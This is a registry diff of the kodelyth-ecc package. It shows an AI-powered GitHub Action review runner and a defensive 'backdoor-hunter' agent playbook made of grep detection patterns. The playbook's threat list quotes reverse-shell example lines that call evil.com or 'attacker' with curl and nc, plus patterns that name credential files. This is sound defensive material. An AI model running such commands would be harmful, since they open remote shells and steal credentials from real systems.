kodelyth-ecc 1.5.9 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (123) hide show
  1. package/.github/workflows/publish.yml +19 -0
  2. package/AGENTS.md +1 -1
  3. package/CHANGELOG.md +455 -0
  4. package/CLAUDE.md +48 -16
  5. package/README.md +265 -81
  6. package/VERSION +1 -1
  7. package/actions/ecc-review/README.md +243 -0
  8. package/actions/ecc-review/action.yml +158 -0
  9. package/actions/ecc-review/post-comment.js +171 -0
  10. package/actions/ecc-review/run-review.js +285 -0
  11. package/agents/backdoor-hunter.md +260 -0
  12. package/agents/chaos-engineer.md +251 -0
  13. package/agents/code-stealer-detector.md +228 -0
  14. package/agents/jailbreak-tester.md +222 -0
  15. package/agents/license-violation-finder.md +212 -0
  16. package/agents/prompt-injection-hunter.md +126 -0
  17. package/agents/secret-hunter.md +209 -0
  18. package/agents/supply-chain-auditor.md +195 -0
  19. package/bin/kodelyth-ecc.js +875 -1
  20. package/bundles/enterprise.md +172 -0
  21. package/bundles/indie-hacker.md +106 -0
  22. package/bundles/red-team.md +138 -0
  23. package/cat +0 -0
  24. package/commands/dashboard.md +67 -0
  25. package/commands/devil-mode.md +121 -0
  26. package/commands/memory-evolve.md +71 -0
  27. package/commands/replay.md +61 -0
  28. package/commands/route-model.md +48 -0
  29. package/commands/swarm.md +68 -0
  30. package/commands/verify-supply-chain.md +59 -0
  31. package/docs/dashboard.md +211 -0
  32. package/docs/evolve.md +303 -0
  33. package/docs/mcp-clients.md +167 -0
  34. package/docs/mcp.md +178 -0
  35. package/docs/replay.md +244 -0
  36. package/docs/supply-chain.md +207 -0
  37. package/docs/swarm.md +243 -0
  38. package/hooks/hooks.json +52 -0
  39. package/hooks/memory/auto-recall.js +29 -1
  40. package/hooks/safety/README.md +124 -0
  41. package/hooks/safety/lib/patterns.js +179 -0
  42. package/hooks/safety/prompt-injection-guard.js +179 -0
  43. package/hooks/safety/token-budget.js +229 -0
  44. package/install.ps1 +199 -2
  45. package/install.sh +286 -4
  46. package/package.json +30 -4
  47. package/rules/common/agent-intent-routing.md +182 -0
  48. package/rules/common/cost-aware-model-routing.md +152 -0
  49. package/scripts/dashboard/data.js +353 -0
  50. package/scripts/dashboard/server.js +324 -0
  51. package/scripts/dashboard/static/index.html +645 -0
  52. package/scripts/evolve/analyze.js +303 -0
  53. package/scripts/evolve/proposals.js +162 -0
  54. package/scripts/evolve/stats.js +219 -0
  55. package/scripts/mcp/catalog.js +244 -0
  56. package/scripts/mcp/client.js +181 -0
  57. package/scripts/mcp/prompts.js +133 -0
  58. package/scripts/mcp/resources.js +94 -0
  59. package/scripts/mcp/server.js +153 -0
  60. package/scripts/mcp/tools.js +465 -0
  61. package/scripts/replay/bundle.js +191 -0
  62. package/scripts/replay/replay.js +107 -0
  63. package/scripts/router/classify.js +232 -0
  64. package/scripts/supply-chain/manifest.js +154 -0
  65. package/scripts/supply-chain/sbom.js +202 -0
  66. package/scripts/supply-chain/verify.js +102 -0
  67. package/scripts/swarm/build-plan.js +193 -0
  68. package/skills/cost-aware-model-routing/SKILL.md +153 -0
  69. package/skills/kodelyth-quickstart/SKILL.md +7 -0
  70. package/skills/observability-dashboard/SKILL.md +119 -0
  71. package/skills/self-evolving-memory/SKILL.md +175 -0
  72. package/skills/session-replay/SKILL.md +199 -0
  73. package/skills/supply-chain-verification/SKILL.md +201 -0
  74. package/skills/swarm-orchestrator/SKILL.md +177 -0
  75. package/social/card-install.svg +1 -1
  76. package/social/facebook-group/POST.md +121 -0
  77. package/social/facebook-group/fb-1-3am-debug.png +0 -0
  78. package/social/facebook-group/fb-1-3am-debug.svg +97 -0
  79. package/social/facebook-group/fb-2-cpu-upgrade.png +0 -0
  80. package/social/facebook-group/fb-2-cpu-upgrade.svg +132 -0
  81. package/social/facebook-group/fb-3-before-after.png +0 -0
  82. package/social/facebook-group/fb-3-before-after.svg +94 -0
  83. package/social/facebook-v150.svg +5 -5
  84. package/social/github-social-preview.svg +119 -100
  85. package/social/readme-hero.svg +11 -11
  86. package/social/section-agents.svg +57 -0
  87. package/social/section-author.svg +54 -0
  88. package/social/section-dashboard.svg +59 -0
  89. package/social/section-devil.svg +54 -0
  90. package/social/section-hooks.svg +51 -0
  91. package/social/section-install.svg +42 -0
  92. package/social/section-learning.svg +52 -0
  93. package/social/section-mcp.svg +46 -0
  94. package/social/section-memory.svg +57 -0
  95. package/social/section-parallel.svg +72 -0
  96. package/social/section-routing.svg +51 -0
  97. package/social/x-card-agents-grid.svg +6 -6
  98. package/tests/dashboard/data.test.js +235 -0
  99. package/tests/dashboard/server.test.js +240 -0
  100. package/tests/evolve/analyze.test.js +169 -0
  101. package/tests/evolve/proposals.test.js +173 -0
  102. package/tests/evolve/stats.test.js +159 -0
  103. package/tests/mcp/catalog.test.js +98 -0
  104. package/tests/mcp/client.test.js +109 -0
  105. package/tests/mcp/resources-prompts.test.js +70 -0
  106. package/tests/mcp/tools.test.js +159 -0
  107. package/tests/replay/bundle.test.js +181 -0
  108. package/tests/replay/replay.test.js +131 -0
  109. package/tests/router/classify.test.js +164 -0
  110. package/tests/safety/patterns.test.js +94 -0
  111. package/tests/safety/prompt-injection-guard.test.js +111 -0
  112. package/tests/safety/token-budget.test.js +119 -0
  113. package/tests/supply-chain/manifest.test.js +147 -0
  114. package/tests/supply-chain/sbom.test.js +170 -0
  115. package/tests/supply-chain/verify.test.js +146 -0
  116. package/tests/swarm/build-plan.test.js +188 -0
  117. package/wiki/Agent-Reference.md +58 -7
  118. package/wiki/FAQ.md +204 -7
  119. package/wiki/Home.md +104 -28
  120. package/wiki/Hook-Reference.md +1 -1
  121. package/wiki/Installation-Guide.md +109 -6
  122. package/wiki/Platform-Support.md +239 -25
  123. package/wiki/Skill-Reference.md +101 -6
@@ -0,0 +1,285 @@
1
+ #!/usr/bin/env node
2
+ // Kodelyth ECC — GitHub Action review runner
3
+ // Reads a PR diff + selected agents and produces a JSON findings report.
4
+ //
5
+ // Env contract:
6
+ // ANTHROPIC_API_KEY Anthropic API key (required for live model call; if absent, runs in dry-mode)
7
+ // ECC_BUNDLE indie-hacker | red-team | enterprise
8
+ // ECC_AGENTS comma-separated agent names (overrides bundle if set)
9
+ // ECC_MODEL Anthropic model id
10
+ // ECC_MAX_FILES max changed files per run
11
+ // ECC_BASE_SHA PR base
12
+ // ECC_HEAD_SHA PR head
13
+ //
14
+ // Outputs (set via $GITHUB_OUTPUT):
15
+ // critical-count, high-count, medium-count, report-path
16
+
17
+ 'use strict';
18
+
19
+ const fs = require('fs');
20
+ const os = require('os');
21
+ const path = require('path');
22
+ const { execSync } = require('child_process');
23
+ const https = require('https');
24
+
25
+ const HOME = os.homedir();
26
+ const ECC_HOME = path.join(HOME, '.claude');
27
+ const AGENTS_DIR = path.join(ECC_HOME, 'agents');
28
+ const REPORT_PATH = path.join(os.tmpdir(), `ecc-review-${Date.now()}.json`);
29
+
30
+ // ── Bundle → agent mapping ──────────────────────────────────────────────────
31
+ const BUNDLE_AGENTS = {
32
+ 'indie-hacker': ['security-reviewer', 'code-reviewer', 'ux-reviewer', 'dependency-doctor'],
33
+ 'red-team': ['prompt-injection-hunter', 'supply-chain-auditor', 'secret-hunter', 'backdoor-hunter'],
34
+ 'enterprise': ['code-reviewer', 'security-reviewer', 'license-violation-finder', 'supply-chain-auditor', 'api-guardian'],
35
+ };
36
+
37
+ const bundle = (process.env.ECC_BUNDLE || 'red-team').trim();
38
+ const agentsOverride = (process.env.ECC_AGENTS || '').split(',').map(s => s.trim()).filter(Boolean);
39
+ const selectedAgents = agentsOverride.length > 0
40
+ ? agentsOverride
41
+ : (BUNDLE_AGENTS[bundle] || BUNDLE_AGENTS['red-team']);
42
+
43
+ const model = process.env.ECC_MODEL || 'claude-sonnet-4-5-20250929';
44
+ const maxFiles = parseInt(process.env.ECC_MAX_FILES || '20', 10);
45
+ const apiKey = process.env.ANTHROPIC_API_KEY || '';
46
+
47
+ // ── Setup output writer (GitHub Actions $GITHUB_OUTPUT) ─────────────────────
48
+ function setOutput(key, value) {
49
+ if (process.env.GITHUB_OUTPUT) {
50
+ fs.appendFileSync(process.env.GITHUB_OUTPUT, `${key}=${value}\n`);
51
+ }
52
+ console.log(`::set-output name=${key}::${value}`);
53
+ }
54
+
55
+ function logGroup(label, fn) {
56
+ console.log(`::group::${label}`);
57
+ try {
58
+ return fn();
59
+ } finally {
60
+ console.log('::endgroup::');
61
+ }
62
+ }
63
+
64
+ // ── Read changed files from /tmp/ecc-changed-files.txt ──────────────────────
65
+ function readChangedFiles() {
66
+ const listPath = '/tmp/ecc-changed-files.txt';
67
+ if (!fs.existsSync(listPath)) {
68
+ console.log('::warning::No changed-files list found. Skipping review.');
69
+ return [];
70
+ }
71
+ return fs.readFileSync(listPath, 'utf8')
72
+ .split('\n')
73
+ .map(s => s.trim())
74
+ .filter(Boolean)
75
+ .filter(f => fs.existsSync(f))
76
+ .filter(f => {
77
+ const ext = path.extname(f).toLowerCase();
78
+ // Skip binary / vendor / large generated files
79
+ if (['.png', '.jpg', '.gif', '.pdf', '.zip', '.tgz', '.lock'].includes(ext)) return false;
80
+ if (f.startsWith('node_modules/') || f.includes('/.git/')) return false;
81
+ return true;
82
+ })
83
+ .slice(0, maxFiles);
84
+ }
85
+
86
+ // ── Read agent playbook ─────────────────────────────────────────────────────
87
+ function readAgent(name) {
88
+ const p = path.join(AGENTS_DIR, `${name}.md`);
89
+ if (!fs.existsSync(p)) {
90
+ console.log(`::warning::Agent file not found: ${p}`);
91
+ return null;
92
+ }
93
+ return fs.readFileSync(p, 'utf8');
94
+ }
95
+
96
+ // ── Read file content with size cap ─────────────────────────────────────────
97
+ function readFileSafe(filePath, maxBytes = 20000) {
98
+ try {
99
+ const content = fs.readFileSync(filePath, 'utf8');
100
+ if (content.length > maxBytes) {
101
+ return content.slice(0, maxBytes) + '\n\n[...truncated, file exceeds 20KB...]';
102
+ }
103
+ return content;
104
+ } catch (err) {
105
+ return `[unreadable: ${err.message}]`;
106
+ }
107
+ }
108
+
109
+ // ── Build the review prompt ─────────────────────────────────────────────────
110
+ function buildPrompt(agentName, agentMarkdown, files) {
111
+ const fileBlock = files.map(f => {
112
+ const content = readFileSafe(f);
113
+ return `### File: ${f}\n\n\`\`\`\n${content}\n\`\`\``;
114
+ }).join('\n\n---\n\n');
115
+
116
+ return `You are the **${agentName}** specialist. Your full playbook follows. Apply it to the changed files below and emit findings.
117
+
118
+ ---
119
+
120
+ ## YOUR PLAYBOOK
121
+
122
+ ${agentMarkdown}
123
+
124
+ ---
125
+
126
+ ## CHANGED FILES IN THIS PULL REQUEST
127
+
128
+ ${fileBlock}
129
+
130
+ ---
131
+
132
+ ## YOUR TASK
133
+
134
+ Review the changed files above using your playbook. Emit a JSON object with this exact shape (no commentary, no markdown fences, just the JSON):
135
+
136
+ \`\`\`json
137
+ {
138
+ "agent": "${agentName}",
139
+ "findings": [
140
+ {
141
+ "severity": "critical" | "high" | "medium" | "low",
142
+ "file": "path/to/file",
143
+ "line": 42,
144
+ "category": "short category name",
145
+ "title": "one-line summary",
146
+ "description": "what's wrong, why it matters",
147
+ "evidence": "exact code or pattern proving the finding",
148
+ "fix": "concrete fix recommendation"
149
+ }
150
+ ],
151
+ "summary": "one-paragraph overall assessment"
152
+ }
153
+ \`\`\`
154
+
155
+ If you find nothing, emit \`{"agent":"${agentName}","findings":[],"summary":"..."}\`. Be concrete — no findings without evidence.`;
156
+ }
157
+
158
+ // ── Call Anthropic API ──────────────────────────────────────────────────────
159
+ function callAnthropic(prompt) {
160
+ return new Promise((resolve, reject) => {
161
+ if (!apiKey) {
162
+ // Dry-mode: emit a stub so the action still runs end-to-end without a key
163
+ return resolve({
164
+ agent: 'dry-mode',
165
+ findings: [],
166
+ summary: 'No ANTHROPIC_API_KEY set — review skipped. Set the api-key input or ANTHROPIC_API_KEY secret to enable.'
167
+ });
168
+ }
169
+ const body = JSON.stringify({
170
+ model: model,
171
+ max_tokens: 4096,
172
+ messages: [{ role: 'user', content: prompt }],
173
+ });
174
+ const req = https.request({
175
+ hostname: 'api.anthropic.com',
176
+ port: 443,
177
+ path: '/v1/messages',
178
+ method: 'POST',
179
+ headers: {
180
+ 'Content-Type': 'application/json',
181
+ 'x-api-key': apiKey,
182
+ 'anthropic-version': '2023-06-01',
183
+ 'Content-Length': Buffer.byteLength(body),
184
+ },
185
+ }, (res) => {
186
+ let chunks = '';
187
+ res.on('data', c => chunks += c);
188
+ res.on('end', () => {
189
+ try {
190
+ const parsed = JSON.parse(chunks);
191
+ if (parsed.error) return reject(new Error(`Anthropic API error: ${parsed.error.message}`));
192
+ const text = parsed.content?.[0]?.text || '';
193
+ // Strip markdown fences if present
194
+ const jsonMatch = text.match(/\{[\s\S]*\}/);
195
+ if (!jsonMatch) {
196
+ return resolve({ agent: 'parse-error', findings: [], summary: `Could not parse model output: ${text.slice(0, 200)}` });
197
+ }
198
+ resolve(JSON.parse(jsonMatch[0]));
199
+ } catch (err) {
200
+ reject(err);
201
+ }
202
+ });
203
+ });
204
+ req.on('error', reject);
205
+ req.write(body);
206
+ req.end();
207
+ });
208
+ }
209
+
210
+ // ── Main ────────────────────────────────────────────────────────────────────
211
+ async function main() {
212
+ const files = logGroup('Read changed files', readChangedFiles);
213
+ if (files.length === 0) {
214
+ console.log('::notice::No reviewable files changed. Skipping ECC review.');
215
+ setOutput('critical-count', '0');
216
+ setOutput('high-count', '0');
217
+ setOutput('medium-count', '0');
218
+ setOutput('report-path', '');
219
+ return;
220
+ }
221
+
222
+ console.log(`::notice::Reviewing ${files.length} files with agents: ${selectedAgents.join(', ')} (bundle=${bundle}, model=${model})`);
223
+
224
+ const allFindings = [];
225
+ const agentSummaries = [];
226
+
227
+ for (const agentName of selectedAgents) {
228
+ const playbook = readAgent(agentName);
229
+ if (!playbook) continue;
230
+ const prompt = buildPrompt(agentName, playbook, files);
231
+
232
+ let result;
233
+ try {
234
+ console.log(`::group::Run agent: ${agentName}`);
235
+ result = await callAnthropic(prompt);
236
+ console.log(`::endgroup::`);
237
+ } catch (err) {
238
+ console.log(`::warning::Agent ${agentName} failed: ${err.message}`);
239
+ console.log(`::endgroup::`);
240
+ continue;
241
+ }
242
+
243
+ if (Array.isArray(result.findings)) {
244
+ result.findings.forEach(f => allFindings.push({ ...f, agent: agentName }));
245
+ }
246
+ if (result.summary) {
247
+ agentSummaries.push({ agent: agentName, summary: result.summary });
248
+ }
249
+ }
250
+
251
+ // Tally severities
252
+ const counts = { critical: 0, high: 0, medium: 0, low: 0 };
253
+ for (const f of allFindings) {
254
+ const sev = (f.severity || '').toLowerCase();
255
+ if (counts[sev] != null) counts[sev]++;
256
+ }
257
+
258
+ // Write report
259
+ const report = {
260
+ bundle,
261
+ agents: selectedAgents,
262
+ model,
263
+ files_reviewed: files,
264
+ counts,
265
+ findings: allFindings,
266
+ agent_summaries: agentSummaries,
267
+ base_sha: process.env.ECC_BASE_SHA || '',
268
+ head_sha: process.env.ECC_HEAD_SHA || '',
269
+ generated_at: new Date().toISOString(),
270
+ };
271
+ fs.writeFileSync(REPORT_PATH, JSON.stringify(report, null, 2));
272
+ console.log(`::notice::Report written: ${REPORT_PATH}`);
273
+ console.log(`::notice::Findings: ${counts.critical} CRITICAL, ${counts.high} HIGH, ${counts.medium} MEDIUM, ${counts.low} LOW`);
274
+
275
+ setOutput('critical-count', String(counts.critical));
276
+ setOutput('high-count', String(counts.high));
277
+ setOutput('medium-count', String(counts.medium));
278
+ setOutput('report-path', REPORT_PATH);
279
+ }
280
+
281
+ main().catch(err => {
282
+ console.error(`::error::ECC review crashed: ${err.message}`);
283
+ console.error(err.stack);
284
+ process.exit(2);
285
+ });
@@ -0,0 +1,260 @@
1
+ ---
2
+ name: backdoor-hunter
3
+ description: Adversarial backdoor and malicious-code detector. Use when reviewing third-party code, vendored libraries, contractor PRs, dependency updates, or after any compromise alert. Hunts obfuscated payloads, hidden network beacons, time bombs, and unauthorized eval/exec patterns.
4
+ tools: ["Read", "Bash", "Grep", "Glob"]
5
+ model: sonnet
6
+ ---
7
+
8
+ # Backdoor Hunter
9
+
10
+ You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While `supply-chain-auditor` evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.
11
+
12
+ ## Threat Model — what attackers actually do
13
+
14
+ Real backdoor patterns from recent CVEs and incidents:
15
+
16
+ 1. **Obfuscated execution** — `eval(atob(...))`, `Function(decoded)()`, `_0x...` minified blobs hiding malicious logic
17
+ 2. **Network beacons** — periodic "phone home" calls to attacker domains
18
+ 3. **Time bombs** — code that activates after a date or specific runtime condition
19
+ 4. **Environment-triggered logic** — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
20
+ 5. **Reverse shells** — `bash -c $(curl evil.com/sh)`, `nc -e /bin/sh attacker 1337`
21
+ 6. **Credential exfiltration** — silently uploads `.env`, `.aws/credentials`, SSH keys
22
+ 7. **Build-time injection** — postinstall scripts modifying source after install
23
+ 8. **Webshells** — endpoints that execute arbitrary code on POST `/admin/{secret}`
24
+ 9. **Auth bypass via magic header** — `if (req.headers['x-bypass'] === 'attacker_signature')`
25
+ 10. **Dynamic require/import** — `require(decryptedString)` to load malicious modules at runtime
26
+ 11. **Process injection** — overwriting `node_modules` files at runtime
27
+ 12. **Cryptominer** — silent CPU-burning code spawning hidden workers
28
+ 13. **Telemetry exfiltration** — sends repo path, env vars, hostname, user data to "analytics"
29
+
30
+ ## Hunt Workflow
31
+
32
+ ### 1. Obfuscation hunt
33
+
34
+ ```bash
35
+ # eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
36
+ grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
37
+
38
+ # Common decoder patterns
39
+ grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" . # base64 decode of large blob
40
+ grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
41
+ grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20 # minified obfuscation pattern
42
+
43
+ # String concatenation hiding a command
44
+ grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .
45
+
46
+ # Hex/octal-encoded function names
47
+ grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .
48
+ ```
49
+
50
+ ### 2. Network beacon hunt
51
+
52
+ ```bash
53
+ # Outbound HTTP from unexpected places
54
+ grep -rEn "(fetch|axios|http\.get|got|request|curl)" --include="*.js" --exclude-dir=node_modules . | \
55
+ grep -vE "(localhost|127\.0\.0\.1|api\.yourcompany\.com|github\.com|registry\.npmjs)"
56
+
57
+ # DNS lookups (sometimes used for stealth exfiltration)
58
+ grep -rEn "dns\.(lookup|resolve)" --include="*.js" .
59
+
60
+ # WebSocket connections
61
+ grep -rEn "new WebSocket\(['\"]ws" --include="*.js" .
62
+
63
+ # Suspicious URLs
64
+ grep -rEnH "https?://[^\"' ]*" --include="*.js" . | \
65
+ grep -vE "(github|google|cloudflare|aws|stripe|sentry|datadog|company-domain)"
66
+ ```
67
+
68
+ For each suspicious URL, check:
69
+ - Is it on a domain reputation list? (VirusTotal, AbuseIPDB)
70
+ - Is it a Discord webhook (common for low-effort exfiltration)?
71
+ - Is it a Pastebin / paste.ee / requestbin (dump targets)?
72
+ - Is the domain newly registered (<90 days)?
73
+
74
+ ### 3. Time bomb / conditional hunt
75
+
76
+ ```bash
77
+ # Date checks (xz utils pattern)
78
+ grep -rEn "(Date\.now\(\)|new Date\(\))" --include="*.js" --exclude-dir=node_modules . | \
79
+ grep -E "(>|<|>=|<=)\s*[0-9]{10,13}" # comparing to unix timestamp
80
+
81
+ # Country / locale gates
82
+ grep -rEn "(Intl\.|navigator\.language|process\.env\.LANG)" --include="*.js" . | head
83
+
84
+ # CI-only code paths
85
+ grep -rEn "process\.env\.(CI|GITHUB_ACTIONS|CIRCLECI|JENKINS)" --include="*.js" --exclude-dir=node_modules . | head
86
+
87
+ # Production-only "features"
88
+ grep -rEn "process\.env\.NODE_ENV\s*===\s*['\"]production" --include="*.js" --exclude-dir=node_modules . | head -50
89
+
90
+ # IP-based gates (geofencing payload)
91
+ grep -rEn "(IP|ip)\.startsWith|ipaddress|geoip" --include="*.js" .
92
+
93
+ # Specific user / account / hostname triggers
94
+ grep -rEn "(os\.hostname|os\.userInfo|process\.env\.USER)" --include="*.js" .
95
+ ```
96
+
97
+ ### 4. Reverse shell / command execution hunt
98
+
99
+ ```bash
100
+ # child_process.exec / spawn with user-controlled or fetched input
101
+ grep -rEn "(exec|spawn|execSync|spawnSync)\s*\(" --include="*.js" --exclude-dir=node_modules .
102
+
103
+ # Direct shell escapes
104
+ grep -rEn "['\"](bash|sh|cmd|powershell|cmd\.exe)['\"]" --include="*.js" .
105
+
106
+ # Curl-pipe-bash patterns in scripts
107
+ grep -rEn "curl[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
108
+ grep -rEn "wget[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
109
+
110
+ # Reverse shell signatures
111
+ grep -rEn "(\bnc \-e|/dev/tcp/|/dev/udp/|bash -i >& /dev/tcp)" .
112
+ ```
113
+
114
+ ### 5. Credential exfiltration hunt
115
+
116
+ ```bash
117
+ # Reading sensitive files
118
+ grep -rEn "(\\.env|\\.aws/credentials|\\.ssh/id_|/etc/shadow|\\.kube/config)" --include="*.js" --include="*.py" --exclude-dir=node_modules .
119
+
120
+ # Reading and POSTing — combo signal
121
+ grep -rEnB2 -A4 "fs\.readFile" --include="*.js" --exclude-dir=node_modules . | \
122
+ grep -B5 "fetch\|axios\|http\."
123
+
124
+ # Suspicious env iteration
125
+ grep -rEn "Object\.(keys|entries)\(process\.env\)" --include="*.js" --exclude-dir=node_modules . | head
126
+ ```
127
+
128
+ ### 6. Build-time injection hunt
129
+
130
+ ```bash
131
+ # postinstall, preinstall scripts in installed packages
132
+ find node_modules -name package.json -exec jq -r 'select(.scripts.postinstall or .scripts.preinstall) | .name + ": " + (.scripts | tostring)' {} \; 2>/dev/null
133
+
134
+ # scripts that download anything
135
+ grep -rEn "(curl|wget|fetch|axios)" node_modules/*/package.json 2>/dev/null
136
+ ```
137
+
138
+ ### 7. Webshell hunt
139
+
140
+ ```bash
141
+ # Endpoints that exec arbitrary input
142
+ grep -rEnB2 -A5 "(req\.body\.|req\.query\.|req\.params\.)" --include="*.js" . | \
143
+ grep -B5 -E "(exec|eval|spawn|require)\s*\("
144
+
145
+ # Magic auth bypass
146
+ grep -rEn "headers\[['\"]x-" --include="*.js" --include="*.ts" . | head
147
+
148
+ # Unprotected admin endpoints
149
+ grep -rEn "(app|router)\.(get|post)\(['\"]/admin" --include="*.js" .
150
+ ```
151
+
152
+ ### 8. Dynamic loading hunt
153
+
154
+ ```bash
155
+ # require() with non-literal argument
156
+ grep -rEn "require\s*\([^'\"]" --include="*.js" --exclude-dir=node_modules .
157
+
158
+ # import() with non-literal
159
+ grep -rEn "import\s*\([^'\"]" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
160
+
161
+ # Modules loaded from filesystem path that's user-controllable
162
+ grep -rEnB3 -A1 "require\(.*\\\\+\\.*\)" --include="*.js" .
163
+ ```
164
+
165
+ ### 9. Cryptominer hunt
166
+
167
+ ```bash
168
+ # Worker spawning with high concurrency
169
+ grep -rEn "(new Worker|cluster\.fork|child_process\.fork)" --include="*.js" --exclude-dir=node_modules .
170
+
171
+ # Suspicious crypto/hashing in unexpected places
172
+ grep -rEn "(crypto\.subtle|sha256.*loop|Buffer.alloc\(1024\*1024\))" --include="*.js" --exclude-dir=node_modules .
173
+
174
+ # Mining pool URLs
175
+ grep -rEn "(stratum\+tcp://|nicehash|minexmr|cryptonight)" .
176
+ ```
177
+
178
+ ### 10. Telemetry exfiltration hunt
179
+
180
+ ```bash
181
+ # Any "analytics" or "telemetry" that ECC explicitly forbids
182
+ grep -rEn "(analytics|telemetry|tracking|posthog|mixpanel|segment)" --include="*.js" --exclude-dir=node_modules .
183
+
184
+ # Gathering metadata about the host
185
+ grep -rEn "(os\.cpus|os\.networkInterfaces|os\.userInfo)" --include="*.js" --exclude-dir=node_modules .
186
+ ```
187
+
188
+ ### 11. Triage suspicious findings
189
+
190
+ For every red flag, answer:
191
+
192
+ 1. **Is this the first commit it appeared in?** `git log -p -S "<suspicious line>"`
193
+ 2. **Who introduced it?** Author, date, PR
194
+ 3. **Is the explanation legitimate?** Real feature vs hidden payload
195
+ 4. **Does it run in production?** Or only in dev/test (lower urgency)
196
+ 5. **What does it actually do?** Manually decode, trace data flow, run in sandbox
197
+
198
+ ### 12. Report
199
+
200
+ ```
201
+ ## BACKDOOR HUNT REPORT
202
+
203
+ ### Scan Coverage
204
+ Files scanned: N
205
+ Lines of code: N
206
+ Patterns checked: 12 categories
207
+
208
+ ### Confirmed Threats
209
+ [severity] [file:line] [pattern] [decoded behavior] [recommended action]
210
+
211
+ ### Suspicious Patterns (need manual review)
212
+ [severity] [file:line] [pattern] [why suspicious]
213
+
214
+ ### Triage Notes
215
+ [per finding: introduced by, when, runs where, decoded action]
216
+
217
+ ### Hardening Recommendations
218
+ 1. [first action — usually: revert / quarantine / rotate]
219
+ 2. ...
220
+ ```
221
+
222
+ ## Severity Calibration
223
+
224
+ | Finding | Severity |
225
+ |---|---|
226
+ | Confirmed reverse shell or RCE webshell | CRITICAL |
227
+ | Confirmed credential exfiltration to attacker host | CRITICAL |
228
+ | Obfuscated eval(decoded blob) decoding to network call | CRITICAL |
229
+ | Time-bomb code (date-gated payload) | CRITICAL |
230
+ | Cryptominer worker | HIGH |
231
+ | Magic header auth bypass | HIGH |
232
+ | Dynamic require with non-literal | HIGH |
233
+ | Unexplained network call from build script | HIGH |
234
+ | eval/Function() with literal string (probably safe but smell) | MEDIUM |
235
+ | Telemetry library you didn't add | MEDIUM |
236
+
237
+ ## Response Playbook
238
+
239
+ For any CRITICAL finding:
240
+
241
+ 1. **Quarantine first** — `git revert` the commit, take affected service offline
242
+ 2. **Preserve evidence** — copy the file before reverting; keep git history intact
243
+ 3. **Rotate everything** — assume secrets in env / credentials store / DB are compromised
244
+ 4. **Scope the blast radius** — when did the backdoor land? What ran since?
245
+ 5. **Notify** — security team, then potentially users (depending on jurisdiction GDPR/etc.)
246
+ 6. **Audit downstream** — if you ship a library, downstream users are now at risk
247
+
248
+ ## When to Run
249
+
250
+ **ALWAYS:** After every dependency update, on every PR from a new contributor, before publishing your own packages, after any "weird build behavior" report.
251
+
252
+ **IMMEDIATELY:** Compromise alert from CISA / NIST / a vendor security advisory, suspicious activity in CI logs, after onboarding code from contractor / acquisition.
253
+
254
+ ## Reference
255
+
256
+ See `supply-chain-auditor` for the dep-level audit. See `secret-hunter` for credential leaks. See `prompt-injection-hunter` for the AI-feature side.
257
+
258
+ ---
259
+
260
+ **Remember:** A backdoor's job is to look normal. The person who put it there expected to be reviewed by a tired engineer at end-of-PR-day, not by you. Read everything as if it's malicious until proven benign.